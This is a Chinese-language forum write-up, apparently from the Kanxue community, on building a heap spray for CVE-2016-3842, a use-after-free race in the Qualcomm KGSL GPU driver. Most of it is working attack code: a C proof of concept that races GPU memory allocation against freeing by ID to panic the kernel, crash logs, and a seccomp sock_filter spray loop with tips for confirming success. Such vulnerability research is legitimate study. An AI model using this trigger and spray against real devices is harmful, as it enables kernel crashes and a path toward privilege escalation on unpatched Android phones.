实现CVE-2016-3842的堆喷

实现CVE-2016-3842的堆喷_第1张图片

前言

看到论坛有大牛分析了这个CVE-2016-3842的利用方法,我之前也对这个漏洞的堆喷做了一些笔记,这里分享一下。首先要先感谢一下某因幡和Retme两位大神,在研究这个漏洞期间遇到不少的问题,他们都一一给我解答了,这里对他们表示再次感谢。

漏洞介绍

这个漏洞是GPU中的一个UAF漏洞,是由于race condition 造成的。在GPU驱动中提供了一个ioctl命令IOCTL_KGSL_GPUMEM_ALLOC ,这个命令可以让用户去分配一块GPU共享内存。当一个线程调用这个ioctl之后,程序会创建一个kgsl_mem_entry的结构体用来描述一块已经分配好的内存。与此同时函数kgsl_mem_entry_attach_process会通过调用idr_alloc函数给kgsl_mem_entry分配一个ID。在这个时候,另外一个线程调用

IOCTL_KGSL_GPUMEM_FREE_ID 的ioctl命令去释放这个内存块,如果能在分配函数完成之前将这个kgsl_mem_entry释放掉,那么直接就造成了UAF了。

再来看一下官方介绍:

If we add the mem entry pointer in the process idr and rb tree too early,

other threads can do operations on the entry by guessing the ID or GPU

address before the object gets returned by the creating operation.

POC

因为每在内核分配的第一个kgsl_mem_entry所分配的ID为1,所以可以准确释放刚分配好的内存块。

代码如下:

void kgsl2(){

int fd = open("/dev/kgsl-3d0",0);

struct kgsl_gpumem_alloc arg;

struct kgsl_gpumem_free_id arg_free;

int ret = 0;

arg.gpuaddr = 0x1000;

arg.size = 0x40;

arg.flags = 0x1000008;

int pid = fork();

if(pid){

while(1){

arg_free.id = 1;

ioctl(fd,IOCTL_KGSL_GPUMEM_FREE_ID, &arg_free);

}

}

ret = ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC, &arg);

if(ret){

perror("alloc");

}

}

int main(){

printf("******CVE-2016-3842******" );

kgsl2();

return 0;

}

Crash Log:

[ 4624.507633] Modules linked in:

[ 4624.507921] CPU: 0 PID: 7500 Comm: CVE-2016-3842 Tainted: G        W    3.10.73-g1bbb776-dirty #13

[ 4624.508026] task: ffffffc042c25600 ti: ffffffc03db7c000 task.ti: ffffffc03db7c000

[ 4624.508232] PC is at _raw_spin_lock+0x24/0x5c

[ 4624.508421] LR is at _raw_spin_lock+0x20/0x5c

[ 4624.508525] pc : [] lr : [] pstate: 60000145

[ 4624.508712] sp : ffffffc03db7fc30

[ 4624.508815] x29: ffffffc03db7fc30 x28: ffffffc03db7c000

[ 4624.509113] x27: 0000000000000044 x26: 0000000000000000

[ 4624.509494] x25: ffffffc001fe7e18 x24: 00000000c0000000

[ 4624.509787] x23: 0000000000000001 x22: ffffffc01d9e941c

[ 4624.510170] x21: 0000000000000000 x20: ffffffc001d91000

[ 4624.510467] x19: 000000000000001c x18: 0000000000000000

[ 4624.510855] x17: 0000000000000001 x16: ffffffc0003455f8

[ 4624.511156] x15: 0000007fa7426028 x14: 0000007fa7426018

[ 4624.511535] x13: 0000000000000003 x12: 0000000000000001

[ 4624.511830] x11: 0000000000000001 x10: 000000000000000d

[ 4624.512209] x9 : 000000000046dc68 x8 : 000000000000001d

[ 4624.512511] x7 : 0000000000000001 x6 : 0000000000000000

[ 4624.512807] x5 : 0000000000000000 x4 : 0000007fd7478a88

[ 4624.513190] x3 : 0000000000000000 x2 : 0000000000000000

[ 4624.513488] x1 : 00000000fe9223ab x0 : ffffffc001d49690

[ 4624.513867]

[ 4624.513972] Process CVE-2016-3842 (pid: 7500, stack limit = 0xffffffc03db7c058)

[ 4624.514158] Call trace:

[ 4624.514264] [] _raw_spin_lock+0x24/0x5c

[ 4624.514378] [] _sharedmem_free_entry+0x84/0x2a4

[ 4624.514570] [] kgsl_ioctl_gpumem_free_id+0x10c/0x12c

[ 4624.514677] [] kgsl_ioctl_helper+0x250/0x2ec

[ 4624.514865] [] kgsl_ioctl+0x3c/0x4c

[ 4624.514975] [] do_vfs_ioctl+0x4a4/0x57c

[ 4624.515163] [] SyS_ioctl+0x68/0x94

[ 4624.515271] Code: 97c822ff 52800020 97c94706 f9800271 (885ffe60)

[ 4624.515635] ---[ end trace b6c5dfe1e97b62c8 ]---

[ 4624.583132] Kernel panic - not syncing: Fatal exception

[ 4624.583362] CPU1: stopping

实际堆喷中遇到的问题

1. 使用seccomp被拦截

用的是seccomp这个syscall来进行堆喷,seccomp被拦截了,如下:

Ericky:CVE-2016-3842 heyao$ adb shell ./data/local/tmp/CVE-2016-3842

prog.len:18

prctl(SECCOMP): Permission denied

在提示过后,查看android内核源码,发现并不需要任何权限,但是要在使用之前设置一个Admin的进程属性来绕过。

2. 堆喷如何判断是否成功

调试漏洞时,选择自己能改内核代码的机器来调。printk就能直观显示是否成功。

还有相对高级的方法是,可以在喷的内容中做一些标记,比如deadbeef,这样喷上去之后在崩溃,crash寄存器中会有反馈。

建议优先用printk。

3. 崩溃日志的疑问

按漏洞的原理来看,崩溃时候的函数应该是顺着IOCTL_KGSL_MAP_USER_MEM这个ioctl的,但是为什么崩溃信息里为什么会是这个函数导致崩溃的呢?看这个崩溃信息,让我有点迷糊了,不知道准确的触发时机是什么时候了,是不是在我的机器上就是这个函数触发的崩溃?

实现CVE-2016-3842的堆喷_第2张图片

ShenDi大神的说法是这样的, “触发时机是有2~3处的,这取决于free的时机,你没法控制这个时机,但是如果你能喷堆成功,就能保证这2~3个时机都不会崩溃。”后来经我的验证,是因为我用的是5X的机器,而他用的是6P,崩溃信息确实不一样。

4. 关于堆喷结构体sock_filter

对于sock_filter,如果不加修饰的随便定义这个结构体去喷,虽然它也会被kmalloc,只不过之后校验参数的时候会失败,然后会被free掉,这个值得注意。因为如果seccomp失败的话,调用一次和调用一万次是没有区别的,kmalloc会永远落在同一个object上。

了解了以上这些,就可以开始尝试堆喷了,堆喷代码如下:

void *heap_spray_tid(void *args){

struct sock_filter filter[] = {

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

};

struct sock_fprog prog = {

.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),

.filter = filter,

};

if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) != 0) {

printf("PR_SET_NO_NEW_PRIVS Failed......!\n");

return 1;

}

for (; !heap_spray_done;) {

if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {

perror("prctl(SECCOMP)");

}else{

}

}

内核print堆喷信息如下:

实现CVE-2016-3842的堆喷_第3张图片

经过不断的尝试,最后堆喷成功:

[  127.245287] Unable to handle kernel paging request at virtual address 17fff000c

[  127.245303] pgd = ffffffc050824000

[  127.245308] [17fff000c] *pgd=0000000000000000

[  127.245320] Internal error: Oops: 96000005 [#1] PREEMPT SMP

[  127.245330] CPU: 0 PID: 5453 Comm: CVE-2016-3842 Tainted: G        W    3.10.73-g9b6596d #1

[  127.245337] task: ffffffc0a9554080 ti: ffffffc050834000 task.ti: ffffffc050834000

[  127.245350] PC is at msm_iommu_map_range+0x8c/0x344

[  127.245356] LR is at msm_iommu_map_range+0x6c/0x344

[  127.245361] pc : [] lr : [] pstate: 80000145

[  127.245365] sp : ffffffc050837b60

[  127.245370] x29: ffffffc050837b60 x28: ffffffc050834000

[  127.245378] x27: 0000000000000001 x26: 0000000000000000

[  127.245386] x25: ffffffc050837bf0 x24: 0000000000100000

[  127.245394] x23: 00000000e8000000 x22: ffffffc001afe000

[  127.245402] x21: 000000017fff0000 x20: ffffffc0b87a9580

[  127.245410] x19: 0000000000100000 x18: ffffffc050837968

[  127.245419] x17: 0000000000000001 x16: ffffffc000233af8

[  127.245427] x15: 0000000000000000 x14: 0ffffffffffffffe

[  127.245435] x13: 0000000000000030 x12: 0101010101010101

[  127.245443] x11: 7f7f7f7f7f7f7f7f x10: 7757597353435251

[  127.245451] x9 : ffffffc050837890 x8 : 001d1649d2b64000

[  127.245459] x7 : 0000000000000018 x6 : ffffffc0009f7bb4

[  127.245468] x5 : ffffffc0b87a9580 x4 : 0000000000000000

[  127.245475] x3 : 0000000000000000 x2 : ffffffc0b9e63418

[  127.245484] x1 : ffffffc0b9ebc818 x0 : 0000000000000012

struct sock_filter filter[] = {

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

};

#define        BPF_RET        0x06

#define        BPF_K          0x00

#define SECCOMP_RET_ALLOW  0x7fff0000U /* allow */

总结

折腾了很久,终于堆喷成功。多看代码,多尝试,多坚持。

本文由看雪论坛 Ericky 原创 转载请注明来自看雪社区 

你可能感兴趣的:(实现CVE-2016-3842的堆喷)